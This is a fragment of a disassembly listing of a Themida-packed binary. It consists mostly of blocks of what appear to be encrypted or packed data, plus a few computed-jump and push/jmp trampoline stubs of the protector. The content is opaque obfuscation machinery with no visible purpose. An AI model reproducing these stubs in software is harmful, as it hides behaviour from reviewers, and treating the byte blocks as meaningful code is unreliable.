		dd 61C50DCAh
		dd 253E6269h, 2AE201E5h, 663BCA5Dh, 1A39675Dh, 9D59CBDEh
		dd 2EC30EEAh, 5DC79BCAh, 408CF4CAh, 0C013C0h, 0C6D1735Ch
		dd 9C48644Ch, 0CA5DC785h, 0B16B82DEh, 48837522h, 30D46E63h
		dd 28842C97h, 5DC7A5BCh, 0E2B5FECAh, 0F4E27E1Ah, 6C1BB450h
		dd 8CB8C496h, 14B393F1h, 60FCC40Fh, 0FEBACD77h,	0EF15BEA2h
		dd 0B2FAD0A8h, 5BFFD257h, 0E4CC76h, 0C2638FE1h,	241E693Ah
		dd 844D318Fh, 424F567Eh, 0DF82C532h, 0FA565AB8h, 2C5E29E3h
		dd 669E3A8Eh, 0B20EC58Eh, 7F0103CEh, 0E2DEA953h, 0B0BFF6BEh
		dd 0AF8FF562h, 77F43625h, 2B5C09D8h, 6110DBC5h,	3994B8CAh
		dd 9B953408h, 784BB8FFh, 0D6E4B37Ch, 1AA9637Ah,	781A0E96h
		dd 0B116418Dh, 9AB6DAE6h, 26FF053Fh, 7AB71F61h,	0AB49FBD6h
		dd 57CFD622h, 9B28BA66h, 0C0248828h, 0BA6658A1h, 34DEA9FAh
		dd 5EE6F08Ch, 758F4739h, 0AA15E23Ch, 6491F3CEh,	460h, 2CD66E66h
		dd 8C768E44h, 27DB5564h, 0A2708A47h, 3ED4705Eh,	0E8E66E98h
		dd 0ECAA65Ch, 0EBE40CF6h, 0AC5A959h, 813F0AF8h,	5D654E55h
		dd 0CDCDA7C2h, 1B4AAE12h, 74CA5E24h, 0C53FC10Ch, 0EDD9D7ECh
		dd 0CA5E23F6h, 0E315824Fh, 38CC06EBh, 8C49258Bh, 0BD811176h
		dd 23EEF5E1h, 7A47CA5Eh, 0BE0EB0Dh, 9AC92DC2h, 0F3CA5E24h
		dd 360FF5DEh, 8F47238Dh, 0A4682275h, 1D37C212h,	0E800CE32h
		dd 944EC5DCh, 0BCCBF46Dh, 3B94F4C6h, 7162EB09h,	98047F4Fh
		dd 8C930479h, 7FA1C024h, 0A9FACA5Dh, 0A2BEE2DEh, 5AF3110Bh
		dd 0B4CDC32Dh, 9EC2D257h, 0BB871034h, 26F681E7h, 0C40F26CDh
		dd 0C9918C40h, 22B0C263h, 0D5FEDA1Ah, 0E500D52Fh, 11AD4906h
		dd 24E0626Dh, 1112A28Ch, 9BA8662h, 3404E77Eh, 9721E86Ch
		dd 89DD3898h, 3D6B5911h, 1BC7E94Ah, 0C263CC04h,	4243545Dh
		dd 26FDD13h, 0AD254965h, 0D0525197h, 16ABC263h,	17DAE4AEh
		dd 0BEC99085h, 1C841h, 0D7FB5F00h, 99FEC72Dh, 646E1283h
		dd 0FC8B24E0h, 6830D1FCh, 0A1A32B05h, 0B6AD9A33h, 0C30BE70Dh
		dd 7261E3EEh, 9EA6324Eh, 0BAF8BF9h, 17DD676Fh, 0D63B6A8Eh
		dd 3F94CA5Dh, 0DB4EA058h, 6F0BCA5Dh, 0C7B9DE58h, 0ECF3DF0Ch
		dd 45CA5DD0h, 569477Ch,	0F3BC38CAh, 264AE6A4h, 0CF589CA8h
		dd 901DB8C8h, 6C45BF79h, 91355957h, 0CA5DD192h,	53B1D6EBh
		dd 36C80367h, 9B9F3951h, 0FA425FF5h, 0E5E4F537h, 8B5D0B85h
		dd 9D258B38h, 91BDFF6Ch, 83814E16h, 6C1BA881h, 0F8E0F0CCh
		dd 0CC65AFE2h, 93B1087Ah, 9A29DDCDh, 458583EDh,	378CD257h
		dd 0B2B11579h, 0BC26323h, 0E319BAB6h, 93FF8821h, 0F903CFABh
		dd 1D6532FBh, 6E903B9Bh, 65535B65h, 936542B6h, 2488385Fh
		dd 8F758F48h, 0F5040EB6h, 281BA477h, 3968995Fh,	0A703CA60h
		dd 65BF243Bh, 63347DBAh, 0A664A57h, 4DF7E1C8h, 0CBB51EA7h
		dd 0A898FF01h, 0D66F6804h, 7144C061h, 33646FBDh, 857C8945h
		dd 0EDD61414h, 7D219F34h, 65CB4A59h, 890EA3BAh,	5CE9E509h
		dd 14C0F705h, 0BA66110Dh, 0D3675D66h, 99AB2468h, 0D201D25Bh
		dd 0AA5EB7DFh, 99C61ECEh, 20Ch,	0C83AC212h, 122AA8h, 0E32FE900h
		dd 0F60C369Bh, 0DA28DCFAh, 4C8ACAECh, 0AA264AB8h, 4F88689Ah
		dd 0B6215DB5h, 0EDD3768Ch, 5D62DA09h, 415133C2h, 0E3616E12h
		dd 6B993521h, 8413C089h, 7A575A74h, 241A49ADh, 5E73CA5Eh
		dd 0FE625E75h, 874C34D0h, 0C0800A7Dh, 0AA5280DCh, 5E24273Eh
		dd 643380CAh, 0A534B914h, 0C0896Bh, 5E23CDD4h, 269D26CAh
		dd 5AEAE68Ah, 7DE1DD2Dh, 7A52B250h, 75B5692Ah, 593E95EAh
		dd 646E1243h, 258B24E0h, 5E24A2C1h, 0E1A6FBCAh,	1EB7349Fh
		dd 3C8720E4h, 2AAA2C74h, 2AD962D9h, 18B39F5Dh, 2335DE7h
		dd 0BE157E9Bh, 0CF755E02h, 0A83E2705h, 930493DEh, 0B06737F7h
		dd 0CBA35519h, 6CEE1483h, 7879A84Ch, 1D2CA5Dh, 7B92EED2h
		dd 0CCD3FFC1h, 25CA5D77h, 0A94DEB9Ch, 0D25E1E7Bh, 1F21ACD0h
		dd 6DFACA78h, 0CFFF871h, 62724E85h, 6692A3EBh, 0C25CB43Fh
		dd 0C9B90B98h, 3EC6D1C4h, 4E7AB722h, 0C25CB257h, 21E3616Eh
		dd 2A992A88h, 0A7BE2A86h, 0C25CB2h, 8A26E4B3h, 9C58ECE6h
		dd 59748413h, 78A351A8h, 6F67D234h, 0EBD5FED5h,	0D9BE788Fh
		dd 804AC72Bh, 0D5FD2282h, 28A9D52Fh, 0F76EF212h, 0DB8357F4h
		dd 47AD577Fh, 8D4C197Eh, 408D626Dh, 0EF15BEC2h,	5580DCE4h
		dd 922EDCABh, 60536542h, 1582C9CCh, 0E857E8E3h,	6E75AD59h
		dd 0EE922EA5h, 0B01C64E0h, 0A17D0790h, 0B7CAD9FDh, 8E236236h
		dd 0CDDAF709h, 2B040002h, 55805C98h, 0A22D49ABh, 22A364A0h
		dd 0B24E8AC7h, 970004CEh, 0A32B0BCEh, 1FB67579h, 2A564130h
		dd 6F9542AFh, 0A907BC95h, 4A630119h, 0F7E8ABFDh, 3D279D44h
		dd 0DC3661F4h, 0A65E78D4h, 0E612854Eh, 0FF9B59EBh, 36CE705Bh
		dd 2D0DEA9Dh, 2B000000h, 8D3C638Fh, 0C956236h, 0EDE1E6B8h
		dd 6D1ABF6Ah, 0BBC212A7h, 8BB8B635h, 902CADDAh,	16AD1F40h
		dd 0A1DFAE7Ch, 78D25633h, 0A4781FB4h, 0FAFA02D2h, 0B351F3DEh
		dd 10F40EC7h, 9C58E8E4h, 16EE16C0h, 9C58ECEAh, 0BE913C0h
		dd 0A65ED8EFh, 20E418BAh, 4EC8372h, 89241489h, 4C281E2h
		dd 83000000h, 148704EAh, 4685C24h, 89000022h, 9E68241Ch
		dd 89000004h, 0BE562434h, 800A666h, 348BF389h, 4C48324h
		dd 24348B54h, 4C481h, 0EC810000h, 4, 0BA241489h, 8, 1A89F201h
		dd 2434FF5Ah, 4C4815Eh,	0FF000000h, 815B2434h, 4C4h, 0BA82E900h
		dd 0E3EFFF9h, 9EE75DB3h
; ---------------------------------------------------------------------------
		xchg	eax, edx


loc_60DF65:				; CODE XREF: Themida_:loc_60C115j
		mov	eax, 800C3F1h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 687Dh
		dd 0AE3E1F94h, 76457BE8h, 0F21A5206h, 0BCFB2EE6h, 0BFF55B2Fh
		dd 11E9342Ch, 1B4F7C49h, 0D11756EDh, 9E90A1Dh, 3E000000h
		dd 607EEh, 0
; ---------------------------------------------------------------------------
		jmp	loc_60FAC9
; ---------------------------------------------------------------------------
		push	800C85Ch
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	800CAB1h
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	800CEE5h
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	800D0FCh
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	800D74Ah
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	800DAA1h
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		push	800DCF2h
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		db 57h
		dd 0D547D66Fh, 51C352EBh, 0D94BCA63h, 54C453ECh, 0BC4DCC65h
		dd 0C059289Ah, 3DD69F11h, 0CA632E9Eh, 54EDD94Bh, 27A96AC5h
		dd 1989D05Eh, 0F5ADF3BCh, 75730CF7h, 0BA8666EDh, 5AF3DCD0h
		dd 7334E04Ch, 0D1218A94h, 0B916FF67h, 35527E48h, 8E2710F2h
		dd 0F59C14A0h, 7819E575h, 0A27BF38Ch, 861FEBE1h, 9760FC68h
		dd 0F5218A5Dh, 5A15C44Bh, 0B9EF5975h, 0B55C1333h, 3BA459FBh
		dd 2FFED0A8h, 0A16AF61Eh, 0FF218A2Ch, 3F04DD55h, 8A2C7841h
		dd 0E76ED621h, 341877BCh, 0F7DEA8ACh, 0E2607C13h, 0CE267047h
		dd 761C14F1h, 0EFA60B6Fh, 0CA8B150Eh, 0CE198FC2h, 8FC209D2h
		dd 7EFD6719h, 1A855ED6h, 618C3C5Ch, 3131D8A4h, 0FD966458h
		dd 0E5BD8A56h, 2812198Fh, 8A22BB87h, 0A13A089Ch, 615EC983h
		dd 84B04CFh, 8FE5BF88h,	1CB31D19h, 28875851h, 6D632699h
		dd 0A46EFED5h, 7F3840Bh, 31034DA4h, 0E6AF3172h,	44199074h
		dd 7437009Ch, 2B951990h, 0BF69A4h, 36A60000h, 0D9B2B049h
		dd 90740ED7h, 6C046C19h, 41C80D0Fh, 39D0F1CFh, 0F5AEF55Bh
		dd 8A942AEBh, 34E08821h, 218A9473h, 0C8E067D1h,	83F9E246h
		dd 0A30F1DB6h, 5B2DB3ECh, 3F2670A1h, 0A5F5834Dh, 0F9776DE1h
		dd 0F27A6800h, 0B8DEA729h, 943C198Fh, 8903FCFDh, 0B13927C0h
		dd 8FB86425h, 921AC219h, 5123E6C9h, 5CB0FB5Dh, 0E0DCB5B5h
		dd 0AD67D16h, 1990873Dh, 3C07A892h, 951D85A3h, 9F380397h
		dd 3BCAB81h, 0CE31722Dh, 0A42C4248h, 199020E3h,	5B1A9741h
		dd 9ECB8202h, 0D7E1BE21h, 287F937Dh, 0C6B2C54Ch, 0F0034DF2h
		dd 0A92711FCh, 19901EE0h, 101E963Eh, 1520EDA4h,	0FF000002h
		dd 0A128C18Dh, 0AF7F5F3h, 12DF7371h, 8A5AF179h,	0ED8530BEh
		dd 0F1694D87h, 0FE0D107Dh, 39B1391Eh, 0D5737F60h, 50744BBBh
		dd 0FF0A9B9h, 657E13D0h, 0D709C0DCh, 0B982FEE8h, 19218A55h
		dd 475E627Ch, 2D9F1EE3h, 50DCCA63h, 795250D8h, 5FF8C2BAh
		dd 7C3DD941h, 0DA2189A6h, 3D09DB72h, 0C1AB39Ch,	704F08A0h
		dd 830DFA23h, 2189A6C2h, 653BB820h, 1ADBE561h, 78218A3Dh
		dd 0B1B158D0h, 716B5521h, 0A263EF88h, 218A3Dh, 4C07D058h
		dd 8A3D8344h, 4EE7D021h, 0FB947DEFh, 66ED85EDh,	0F3C0BC77h
		dd 29E04C5Ah, 8A3909ABh, 0A48F0D21h, 9864840Bh,	396932AEh
		dd 1DC7218Ah, 397B3C44h, 6FD9218Ah, 22C11EF7h, 1BB088A9h
		dd 500BCA81h, 3838566Fh, 0CB82FE0Fh, 3D432D19h,	218A537Ch
		dd 8F272DAh, 651EF76Fh,	8A539A5Bh, 821BE721h, 0CF79F864h
		dd 7B712A38h, 555FF68Fh, 0A67466C3h, 536730B0h,	1BC5218Ah
		dd 0A4FD419Eh, 0AF10530Ch, 83606BAEh, 7942DE10h, 0D7218A09h
		dd 0B3BDE66Dh, 266FFEC9h, 57E5CFCDh, 8630A42Eh,	0F5F37BDAh
		dd 0B817E66Dh, 0A8DB80C1h, 9C3BB360h, 8720E9E3h, 4B81C99h
		dd 4111B82Ch, 888A22A9h, 0BEA4482Bh, 0F971F134h, 48E1AC20h
		dd 44DADD5Ah, 0DDE05488h, 9EE5BE55h, 37D37341h,	0C1484F4Bh
		dd 7DA49813h, 430C801Eh, 9930BCAAh, 811AE858h, 8C7330E9h
		dd 0A1753DCFh, 3DAF6619h, 49E2AD4Eh, 0B784F8E1h, 0EDA4101Eh
		dd 0A38D7CECh, 929E5C1Dh, 9A12BA11h, 0CABF78C7h, 31312D1Ch
		dd 16AFh, 0D2811AE2h, 50FF9862h, 0DA7912E0h, 55049D6Ah
		dd 0DC7B14E3h, 0A8972B4Dh, 2710800Fh, 0B29D0F8Eh, 3E0A7A19h
		dd 0D69DF6A5h, 89CC11DAh, 0BCE46F19h, 6932AEF5h, 0C7218A94h
		dd 8776761Dh, 63811AE6h, 0EDA66FF7h, 8A9422E3h,	31D88021h
		dd 8F5E7A0h, 3C08D86Fh,	9C14AD9Bh, 86CADCC3h, 0CAED139Ah
		dd 0F6D99243h, 86A3A27Dh, 0F2AE65A3h, 6932AEF5h, 0C7218A94h
		dd 1C3E761Dh, 5947E0ACh, 0CF6851D1h, 0C7C57E57h, 0DA4260F9h
		dd 0A1D3A533h, 0C5B72670h, 46B75EF7h, 1412AB96h, 0FC372088h
		dd 905FB374h, 20A71119h, 0C6CA8942h, 19905F05h,	8652F963h
		dd 19905FC1h, 918F2816h, 819F3801h, 5EFFC8C8h, 0F35D1990h
		dd 58D8D11Ch, 0FF81C27Dh, 19905F36h, 0C8A52C94h, 0BE8C00DFh
		dd 1E962F1Dh, 8AEDA410h, 34DBD9Eh, 78723798h, 900F02Ch
		dd 1311AA99h, 0C6050087h, 0A000001h, 0EC8D1A5h,	0E919A63Fh
		dd 712FE698h, 6868523Eh, 218A949Fh, 5DE653FDh, 82D323E7h
		dd 8CC79018h, 89F64304h, 9037A121h, 0B596F9D2h,	0CF9D2B31h
		dd 4635B75Eh, 0B53DD6A5h, 6506F0ECh, 83EFFD96h,	0EDAE32EBh
		dd 4B2189A0h, 0DC7CEAA1h, 21899B3Ah, 0EC854E3Eh, 0DDF76FEh
		dd 90595741h, 0DD21899Bh, 74DC5BF4h, 9B6425ABh,	1AC22189h
		dd 0E7D3C992h, 67D4604Eh, 551B42Dh, 0C213BABDh,	85464A09h
		dd 0E3218A40h, 2612D279h, 0C9681398h, 0EB837B2Ch, 0D485CD32h
		dd 9F48F83Dh, 0A0B27AE8h, 0CC20E9E7h, 0D67E2189h, 5AD26B56h
		dd 0FDBEC281h, 5B2189CBh, 0DFA828F1h, 3D2189CCh, 1DA3FC93h
		dd 266FC233h, 0BC551F91h, 88716B34h, 0F969F1EFh, 1697710h
		dd 0DCD08B4Ah, 0F6BE55EEh, 6E07F464h, 0A37CF480h, 0AE17E0E0h
		dd 0CB75198Fh, 0A4185B44h, 4C883FD8h, 1E7CC1BEh, 3E0789CAh
		dd 42119271h, 92717D3Eh, 271DB11h, 71BE8709h, 0B41C1192h
		dd 0F464953Ch, 21FA720Bh, 309C24BEh, 919AE7B0h,	1E9B4511h
		dd 0EBA2B343h, 0EF9F3B0h, 1907A06Dh, 72721991h,	7F18E283h
		dd 63F80461h, 593B403Ch, 0C38059D1h, 9243FCBDh,	0E67F4911h
		dd 73DD5CC8h, 0BC8BFDDCh, 19FF4023h, 0B6A81CCBh, 145AB6h
		dd 2CC58D00h, 0B8513BADh, 40D9A719h, 0B9521F91h, 42DBAA1Ah
		dd 0D6F40293h, 5DCF4EE7h, 0CC3CDB74h, 77E96801h, 863F28Bh
		dd 0CAC4850Bh, 99221989h, 0A80AF5F7h, 656A072h,	15E4048Bh
		dd 5F29A37Ch, 953CA8C6h, 96248B44h, 0FFF05E24h,	6D059E6Dh
		dd 0AC3A06E6h, 791BA3E9h, 11CA626Ch, 7118B19Bh,	4C35A760h
		dd 0A62DB5B3h, 0DF7F5FAh, 3F0BDD74h, 948A4B55h,	80E8218Ah
		dd 0D2BD2FE8h, 8BF2B39h, 70FECA5Ah, 75691823h, 0A972FAE5h
		dd 7009F2EAh, 0AD6EEA72h, 0B218A36h, 702BAA61h,	0B05F9E8Fh
		dd 721969E8h, 0C3BB183Ah, 9A9AE390h, 0F21764D1h, 86E4F5Dh
		dd 0C1D8B7A0h, 26939B02h, 9DD6C148h, 7359132h, 18AF3F84h
		dd 6F882EBCh, 3553A26h,	9E0A4F25h, 79E312B9h, 1CDDE3A0h
		dd 69198EF1h, 7B74039Ch, 8EF134F5h, 0C22A9219h,	217E5B0Bh
		dd 0DF616789h, 1997805Fh, 198F9050h, 5D8F46AEh,	4CE5D071h
		dd 855ED65Eh, 8FF9C2BEh, 0ED57198Fh, 39057766h,	0C1BFA998h
		dd 198F8FF8h, 6886EE56h, 0E8AB74FCh, 806E07F4h,	909F68F4h
		dd 53FD198Fh, 0F7F5AEBCh, 0FDDB720Bh, 0AA13B312h, 0EEFC9563h
		dd 69F9927Eh, 75E5039Ch, 6DF5F38Ch, 0C16F5897h,	632E9EDBh
		dd 0B950DCCAh, 4935F3ACh, 4A08E7B0h, 0D923F26Fh, 0B97263EAh
		dd 0F335F67Ah, 3739860Ah, 860AF36Eh, 2B9524CCh,	0D77844A4h
		dd 0CE5654EDh, 32FF7D66h, 9774F299h, 0CC35C25h,	0AF302D0h
		dd 0D26B5786h, 0D97240D4h, 0C9F6F1CBh, 5C45A067h, 52D71C83h
		dd 0B6F8810Dh, 6001CD1Fh, 0E372FA93h, 0B17FC728h, 7F55243Fh
		dd 8B2C18C8h, 0A09634C2h, 0FFBE26FEh, 79F17967h, 0C9622CA0h
		dd 8A42442h, 3942F637h,	1FB3B14Ah, 0E3ADBB54h, 241D138Ch
		dd 0DB9C245Fh, 39860B60h, 725BE87h, 0F17C139Bh,	0C7B527B8h
		dd 1DB4402Eh, 725EFFCBh, 0BF5FCBD9h, 7D058F1h, 0E1641BA8h
		dd 0B55CDD03h, 0DF846B24h, 76F555Dh, 0C3AF31D8h, 938E712Ah
		dd 0B49DBD0Dh, 118D7DFAh, 0FEE9C995h, 553A1757h, 6FF90159h
		dd 3600A0A1h, 6C238F9Dh
		dd 0DDA61244h, 0EDF3AC44h, 8AF0C07Bh, 69F6D5Fh,	24D57CE8h
		dd 0BA32CBB4h, 2DB7FEE1h, 3F96D079h, 0D58E4988h, 10C60ACBh
		dd 4900687Eh, 9049AD5Fh, 96942D1Ch, 571C870Eh, 59FDC378h
		dd 26AD43A2h, 0F6F248BAh, 65504C82h, 53DE0BD7h,	57CFB97Ch
		dd 7641E149h, 0CCC736DDh, 604EE7D0h, 347F48D4h,	6BDD7617h
		dd 8F1B09A2h, 8DC68F17h, 17344203h, 9138A076h, 9597F8D1h
		dd 0FA9549A5h, 9F65731Ah, 0F4761784h, 0E2727009h, 0A36D7B14h
		dd 2DD534Ch, 64D920Fh, 1784C18Ah, 48B51F76h, 0C827DD95h
		dd 0D3A42BDDh, 0AFC4A927h, 0AADDAE11h, 7710D9D7h, 66E7617h
		dd 544AC679h, 0DE11D743h, 42C961FCh, 0A57C7h, 0E6D0CC00h
		dd 5BF4DD4Dh, 0AEF5E8B4h, 8A946932h, 761DC721h,	6F50201Dh
		dd 129978F5h, 0DE9BC8ABh, 66C37921h, 0EB6D47CEh, 0E9F7907Bh
		dd 0CF30E981h, 0D2BBCA3h, 3C67EE55h, 6FF11E34h,	7AA50A26h
		dd 0E019783Bh, 0D8A11FF8h, 36199061h, 46F6078Eh, 58C4E27Bh
		dd 0CFA807D0h, 6CFD1A0h, 64199075h, 48C77FFCh, 0D4D26B54h
		dd 9229E048h, 4AA60846h, 31AFF4F5h, 3CC02368h, 8FA11EC6h
		dd 985D5B64h, 0BB5D57FEh, 28128A53h, 0E49FF88Fh, 1BDCE49Fh
		dd 793CC027h, 278243CFh, 78E03CC0h, 1EA903D1h, 0F8D41A6h
		dd 0A9A8821h, 870EA63Fh, 63FCC676h, 0B19A12CBh,	18F17118h
		dd 0CF98185Bh, 2D34C60Eh, 0E4E17C3h, 44AC34C6h,	85F1238Dh
		dd 99011FB8h, 6A544811h, 0D747D3D1h, 0C85452EBh, 9F1D5641h
		dd 24E5EBD5h, 8234C60Eh, 1DBB52DAh, 39AC28E9h, 4D0E92D1h
		dd 0AB2CCBD2h, 9BD7294Ch, 3BB31728h, 0AF36594h,	6320F971h
		dd 0BF36657Ch, 4C0300A0h, 0CAC6B09Ch, 2CCC8101h, 0DE7DF55Fh
		dd 28F5BA25h, 15D676B3h, 1A26E7Eh, 268E9C35h, 8680DB8Eh
		dd 312D0191h, 102631h, 0D8715900h, 64FDC739h, 0DC7543B5h
		dd 65FECB3Dh, 0DE7746B6h, 3A88AE3Fh, 0B123B24Bh, 30A02FC8h
		dd 0BB2DAC45h, 4CA736CFh, 0C6804947h, 55DE1989h, 0C40AF54Bh
		dd 8040840Ah, 0B68262E9h, 1883E428h, 0AB434A8Eh, 19E8E4BDh
		dd 4F26280h, 9C4C036Bh,	0FBBCC4AEh, 59218A71h, 67851EE7h
		dd 22FB73FBh, 0FCDDA6BDh, 735CE2B5h, 0C860CCDAh, 0F8D79041h
		dd 62B77565h, 0DA9A317Ah, 1CCh,	81ECBE21h, 4EB95BC4h, 0F7F5D9C7h
		dd 0E575730Ch, 60E77F18h, 765FC948h, 0B66D2419h, 50F74B9Eh
		dd 3CEBE99h, 35A8E36Ah,	3B29C28Eh, 2240D9A7h, 642BC4B2h
		dd 9A90A009h, 6902CBC1h, 0C51A87E2h, 0AA61FAC7h, 0B7FCD9C9h
		dd 14E1DB04h, 1739D47Bh, 53000001h, 88D20AF5h, 5DE9B876h
		dd 4E3BFC84h, 2F99218Ah, 0A2011098h, 0F3386CC0h, 4D169E92h
		dd 0B6EEC262h, 37DE79B7h, 0CAB5276Ch, 0BC1993Ch, 56DE075Dh
		dd 5D5321BFh, 6D5F218Ah, 7CE8069Fh, 0C8B424D5h,	0F0A9B72Fh
		dd 6B7912FCh, 0AC9848FFh, 85A33C0Bh, 0E3CC951Dh, 54B2B2Bh
		dd 0BE1FB6F6h, 30CF9A05h, 0D0BAFF19h, 4DDBA739h, 0F9FA6BC8h
		dd 0D38C2464h, 5452EBD9h, 682141C8h, 5BF28B74h,	0FE62BF51h
		dd 0AE0D7AE7h, 2302A310h, 2B4DDEF4h, 17E2DAC3h,	87CCD77Eh
		dd 9F8D2615h, 0FE607C13h, 0E2267081h, 71561FA1h, 4B41990h
		dd 8209A13Ah, 2FF87873h, 7C199071h, 7FEBF992h, 9CAC53F0h
		dd 0B97744AAh, 0ECE0B931h, 1AB38122h, 0F76BFB92h, 0E575730Ch
		dd 8963811Ah, 4CF615Eh,	0C263514Bh, 0DD65EF7h, 900FC283h
		dd 11B82019h, 5C4C6B54h, 56034D17h, 0DD2931Dh, 88301990h
		dd 180401h, 0F5080000h,	727009F7h, 0E1163EAh, 58000002h
		dd 94D4951Bh, 8A32218Ah, 0F7F59503h, 0EC05720Bh, 8D6346D0h
		dd 5FF1BB52h, 0E2AE1EF7h, 9AD9C249h, 0A2C05922h, 6B45933Ah
		dd 0A9267022h, 3BB34C37h, 0CD4FFB68h, 0AA8AA414h, 0E0Fh
		dd 32E17A42h, 0B05FF8C2h, 3AD97240h, 0B564FDCAh, 3CDB7443h
		dd 48378BADh, 0C7B020AFh, 523DAF2Eh, 0DEAA1AB9h, 363D9645h
		dd 89C4713Ah, 9C04CF19h, 1CF85706h, 48820020h, 2E72CFAAh
		dd 0A7D818D1h, 9966563Fh, 0FE85E200h, 0F59534F9h, 1CD57CF4h
		dd 0A20E5C43h, 52DF7843h, 0D970AFDDh, 6A5370AEh, 703FD3D1h
		dd 1413C9D7h, 0B26F85ABh, 104BB24Dh, 7021C02Bh,	6B6F7A4Dh
		dd 8CB946AEh, 7DD70EEDh, 1D8AE76Eh, 36FF81C2h, 94218A71h
		dd 26D2A52Ch, 1004B7ABh, 917B09Ch, 0EFB8B8A1h, 4D218A64h
		dd 0C721ECA3h, 0FB000000h, 503EAEF5h, 945A1BB7h, 0DEA7218Ah
		dd 870EB645h, 0DDC62E2Dh, 6303B5F2h, 289BCE2h, 0CDBC30EBh
		dd 0AAF29D34h, 918F2811h, 8D9B3401h, 1FB88525h,	722F3A01h
		dd 0A8EBB8BEh, 8A855F28h, 7C13BD21h, 13FFB8F1h,	2504B787h
		dd 0AA36E5Eh, 8A91CD8Eh, 0AC12B21h, 6DFFh, 0F7F52100h
		dd 0D4DC730Ch, 48E9D345h, 5AC2E079h, 0C2815AD2h, 8A93FDBEh
		dd 5AF15B21h, 0E8D4C893h, 4AE3CF4Fh, 4E39D05Ch,	54EDDCE7h
		dd 60F9C656h, 4F786942h, 0E3DCCBE1h, 703937FCh,	0BD218A94h
		dd 11BB3AD3h, 9C9E5E7Ah, 1DE7218Ah, 0BF66684h, 8172FA72h
		dd 4B78496h, 7CD13BA4h,	1AD72DD5h, 0FD089673h, 0FF7DFFFFh
		dd 268E9C35h, 0AF5316Fh, 0FBDA786Eh, 1AB62BEh, 0BB31EA52h
		dd 559C33CCh, 8F28128Ah, 50500991h, 21899887h, 0BBD47BE5h
		dd 0BC30E95Ah, 0AE3634CDh, 825D4A27h, 0F18EF11Dh, 538FF0FBh
		dd 6CDAFB35h, 524CA941h, 8FE672E3h, 23CFA027h, 1504B745h
		dd 0D389524Eh, 7DE72189h, 5423BD6h, 1B580000h, 89D3D495h
		dd 38A3221h, 32AEF595h,	218A9469h, 76761DC7h, 52139D87h
		dd 0B0218A94h, 0C982A008h, 9445068Ah, 39A3218Ah, 0D7655292h
		dd 5B8A37D4h, 914AE262h, 770DCED2h, 0F96B218Ah,	57FE760Fh
		dd 1EB78317h, 16AF9C10h, 8A372A18h, 5851C0A6h, 922B1587h
		dd 5F810894h, 6C05EF90h, 5589F67Eh, 0EEACE55Dh,	726A33BBh
		dd 7859F089h, 10B4E0BFh, 3ABD57B8h, 609E42BDh, 56FDA064h
		dd 5B19A796h, 0A5247F43h, 0A07967FFh, 5E35503Fh, 0C0478C1Eh
		dd 0CFA66E8h, 0AA22FB73h, 3FC64DDBh, 27EBF2FCh,	0D48F08BFh
		dd 962F1D8Fh, 8A3C410Ah, 9E359F21h, 702B3C42h, 0E5D28226h
		dd 4C0D934Ch, 0AA199025h, 0EF1AA42h, 0CF1081h, 5E0CC350h
		dd 4866FFCEh, 5351EAD4h, 0E34D7A65h, 73B5F2DDh,	55169A84h
		dd 0B319901Ch, 0C4B8A109h, 27B65DF6h, 742DC6B5h, 0F8F68F78h
		dd 0CC85E56Ch, 836B2887h, 25ED1A91h, 9076B079h,	0AF660E19h
		dd 90776431h, 36CFB919h, 3CD5A438h, 9D0A672Eh, 0E9E3BC93h
		dd 0A1CC831Ch, 0D7D8B728h, 0C55E85F0h, 0D3A242C9h, 4E736445h
		dd 0AE16C5BAh, 75893213h, 55046C04h, 858614E3h,	0FA7CBB7Eh
		dd 0F1CE871Fh, 3A1E146Ch, 4624ABC5h, 0C9C37C9Eh, 0D74361FAh
		dd 90867A3Bh, 65FEC719h, 14116ED6h, 45AE36BFh, 39967FE7h
		dd 0AFCF03CBh, 227D14ACh, 0DD9E2261h, 3B199071h, 0F8DEFA91h
		dd 5E1E7683h, 9BBD67F6h, 0B3296A33h, 0BD5623C4h, 3BAB3735h
		dd 41A9B750h, 41DC4E8Ah, 0AA1A167Ch, 2BECF4DEh,	89099C31h
		dd 0F6DF47DFh, 0D1CFB986h, 99C3108h, 7876FE66h,	0E9811AE4h
		dd 0F6F48D79h, 0CA87E76Eh, 3BBD37E5h, 0FF9FD5FCh, 0E3F19831h
		dd 99C6B22h, 0C38DFF18h, 6B0ED7D9h, 46C099Ch, 1F88E56Ch
		dd 3CFD83C0h, 9A099C6Bh, 30C9B232h, 8923AA32h, 59E02A87h
		dd 0B83E628h, 0F4C2BAA3h, 2EE54D5Bh, 0D0BE2E75h, 0D2449037h
		dd 0B60E8270h, 0DFD87BD9h, 15A29FC1h, 0C8C6550Ch, 9766EDADh
		dd 8E78742Dh
		dd 0D7F5EF5h, 3DD6A041h, 29A7ECB5h, 1A23E60h, 0EF7F16BEh
		dd 0A66F7132h, 401A23Eh, 3EC4850Bh, 0BA2201A2h,	9E676932h
		dd 0FC01A23Eh, 5F2BBD54h, 0B23AD3BEh, 386006E9h, 0B1D0B0E0h
		dd 8C00BB1Ah, 0FD8D8C2h, 6D01A1AEh, 0F57D6B03h,	54C4565Eh
		dd 7E57CF68h, 57869321h, 0B45BE8F8h, 4734A8EBh,	9D34C0AEh
		dd 87AAC13Fh, 0EC680706h, 8FEA90CAh, 9606CF57h,	0EC7A11AAh
		dd 38D1BD2Fh, 6E7E4391h, 0E4D3F9A8h, 0FFCD5D4Bh, 677A4866h
		dd 682BF63Ah, 5661E887h, 0AA61C3F4h, 96DD02BFh,	0A82C511Ah
		dd 5E50AFF9h, 4D956E9Ah, 1BE878F0h, 0F8A8CB82h,	0BA2355E0h
		dd 0F5B6BA79h, 53F9A82Fh, 30AC6DE9h, 620AF9A8h,	9F5EABh
		dd 6420000h, 54159B54h,	0A1218A94h, 0C4303ED7h,	3A238B35h
		dd 72E1E055h, 0E3503FBDh, 2D5C3D1Ah, 0FAA52C7Eh, 0DC754339h
		dd 2ECDA735h, 3BB12670h, 4836B64Fh, 0A229B1AFh,	0DEE3F453h
		dd 85B37A31h, 3653149Ch, 7B11990h, 1BD9B69Fh, 0CB183FEEh
